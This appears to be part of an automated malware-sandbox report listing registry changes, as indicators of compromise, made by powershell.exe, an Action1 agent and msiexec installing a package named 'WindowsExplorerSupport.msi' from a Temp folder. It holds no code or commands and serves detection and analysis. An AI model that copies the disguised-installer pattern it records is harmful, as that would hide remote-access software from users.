Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ZuneVideo_10.21012.10511.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d75a17a8b4a028\fae8ab0e\@{Microsoft.ZuneVideo_10.21012.10511.0_x64__8wekyb3d8bbwe?m = "Movies & TV"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d75a181a9a5ac3	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28\52C64B7E\@%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe,-124 = "Document Encryption"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Todos_0.33.33351.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d75a17dbf974bf\a37dfe62	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\29\52C64B7E\@%SystemRoot%\System32\wuaueng.dll,-400 = "Windows Update"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ScreenSketch_11.2104.2.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d75a17d35d3d3c\fae8ab0e\@{Microsoft.ScreenSketch_11.2104.2.0_x64__8wekyb3d8bbwe?ms-re = "Snip & Sketch and Snipping Tool"	action1_agent.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe

Modifies registry class 64 IoCs

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2397528088-2630719772-1129911217-1000\{E44F070F-D380-4B4A-AE5F-29701EC3B679}	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "5033"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\462C9C7A3EAE5C44382B5E187EBF5896	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed\CRLs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\CRLs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\CTLs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DomStorageState	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "4771"	SearchHost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896	msiexec.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.MicrosoftStickyNotes_8wekyb3d = "1"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root\Certificates	SearchHost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Version = "100663959"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\MuiCache	StartMenuExperienceHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\CA\Certificates	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed\CTLs	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "23"	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "4066"	SearchHost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\bing.com	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\CA\CTLs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\MuiCache	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\Certificates	SearchHost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Assignment = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "4771"	SearchHost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root	SearchHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\PackageCode = "81C14EA1C70A29548B25BAE2F3846108"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total	SearchHost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\PastIconsStream = 1400000005000000010001000200000014000000494c200602000400540010001000ffffffff2110ffffffffffffffff424d3600000000000000360000002800000010000000400000000100200000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000420000002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c000000ae0000004200000000000000000000001000000075000000c3000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb0000006a0000001e0000000000000005010101a5232323f28b8b8bf9c9c9c9fee3e3e3fee3e3e3fee3e3e3fee3e3e3fee0e0e0fea1a1a1fe080808f4131315624f4f5aad060609d9000000180000007a1f1f1ff5989898f3dbdbdbfce3e3e3fee3e3e3fee3e3e3fee3e3e3fedfdfdffe9c9c9cfe1b1b1bda1c1c1c66969696a8d6d6d6fa535353f2000000b9000000ec5b5b5bf6999999f7adadadfcb3b3b3edd9d9d9fee3e3e3fee3e3e3fe9f9f9ffe1d1d1dd8292929749f9f9fb7cdcdcdf9b7b7b7f6848484f6000000f7000000ff7b7b7bfe979797fe979797fe979797fa9d9d9df9adadadf09a9a9afb0f0f0feb2121216b989898bab0b0b0ecb1b1b1fcb0b0b0fd888888fe000000fe000000f86c6c6cfb979797fe979797fe979797fe949494fe6a6a6afe090909eb10101065858585b0aeaeaef6b0b0b0feafafaffea6a6a6fd3f3f3fee000000bb0000009c2f2f2ff28a8a8afc979797fe959595fe696969fe131313d81212126c565656ab898989f5959595f9a1a1a1fe767676f53d3d3df8040404c6000000250000001a060606be303030f46b6b6bfa656565fe121212da17171774585858ba7e7e7efe7e7e7efe7e7e7efe797979fe0e0e0ee6000000840000002b00000000000000000000001e00000099050505f4050505f410101066585858b77d7d7dfc7e7e7efe7e7e7efe7e7e7efe1f1f1fed000000b90000000c0000000000000000000000000000000300000049000000cb0000004e191919a15b5b5bfc686868f8686868f85f5f5ffb222222ee000000ca0000001e000000000000000000000000000000000000000900000067000000490000000500000072010101ae0e0e0ecd0e0e0ece020202b6000000830000001e000000000000000000000000000000000000000000000000000000090000000300000000000000040000001900000030000000310000001f000000060000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005000000420000002a000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004c000000ae0000004200000000000000000000001000000075000000c3000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb000000cb0000006a0000001e0000000000000005010101a5232323f28b8b8bf9c9c9c9fee3e3e3fee3e3e3fee3e3e3fee3e3e3fee0e0e0fea1a1a1fe080808f4131315624f4f5aad060609d9000000180000007a1f1f1ff5989898f3dbdbdbfce3e3e3fee3e3e3fee3e3e3fee3e3e3fedfdfdffe9c9c9cfe1b1b1bda1c1c1c66969696a8d6d6d6fa535353f2000000b9000000ec5b5b5bf6999999f7adadadfcb3b3b3edd9d9d9fee3e3e3fee3e3e3fe9f9f9ffe1d1d1dd8292929749f9f9fb7cdcdcdf9b7b7b7f6848484f6000000f7000000ff7b7b7bfe979797fe979797fe979797fa9d9d9df9adadadf09a9a9afb0f0f0feb2121216b989898bab0b0b0ecb1b1b1fcb0b0b0fd888888fe000000fe000000f86c6c6cfb979797fe979797fe979797fe949494fe6a6a6afe090909eb10101065858585b0aeaeaef6b0b0b0feafafaffea6a6a6fd3f3f3fee000000bb0000009c2f2f2ff28a8a8afc979797fe959595fe696969fe131313d81212126c565656ab898989f5959595f9a1a1a1fe767676f53d3d3df8040404c6000000250000001a060606be303030f46b6b6bfa656565fe121212da17171774585858ba7e7e7efe7e7e7efe7e7e7efe797979fe0e0e0ee6000000840000002b00000000000000000000001e00000099050505f4050505f410101066585858b77d7d7dfc7e7e7efe7e7e7efe7e7e7efe1f1f1fed000000b90000000c0000000000000000000000000000000300000049000000cb0000004e191919a15b5b5bfc686868f8686868f85f5f5ffb222222ee000000ca0000001e000000000000000000000000000000000000000900000067000000490000000500000072010101ae0e0e0ecd0e0e0ece020202b6000000830000001e000000000000000000000000000000000000000000000000000000090000000300000000000000040000001900000030000000310000001f00000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000424d3e000000000000003e0000002800000010000000400000000100010000000000000100000000000000000000000000000000000000000000ffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffff0000fff90000fff10000c001000080000000000000000000000000000000000000000000000080010000c0030000c0070000c80f0000ffff0000ffff0000ffff0000fff90000fff10000c001000080000000000000000000000000000000000000000000000080010000c0030000c0070000c80f0000ffff0000ffff000000000000000000000000000000000000000000000000010000000800000002000000040000002400000001000000000000000100000000000000	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "4066"	SearchHost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\PackageName = "WindowsExplorerSupport.msi"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.MicrosoftStickyNotes_8wekyb3d	explorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\CA	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software	SearchHost.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Disallowed\Certificates	SearchHost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\UserStartTime = "134142251834284373"	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2397528088-2630719772-1129911217-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
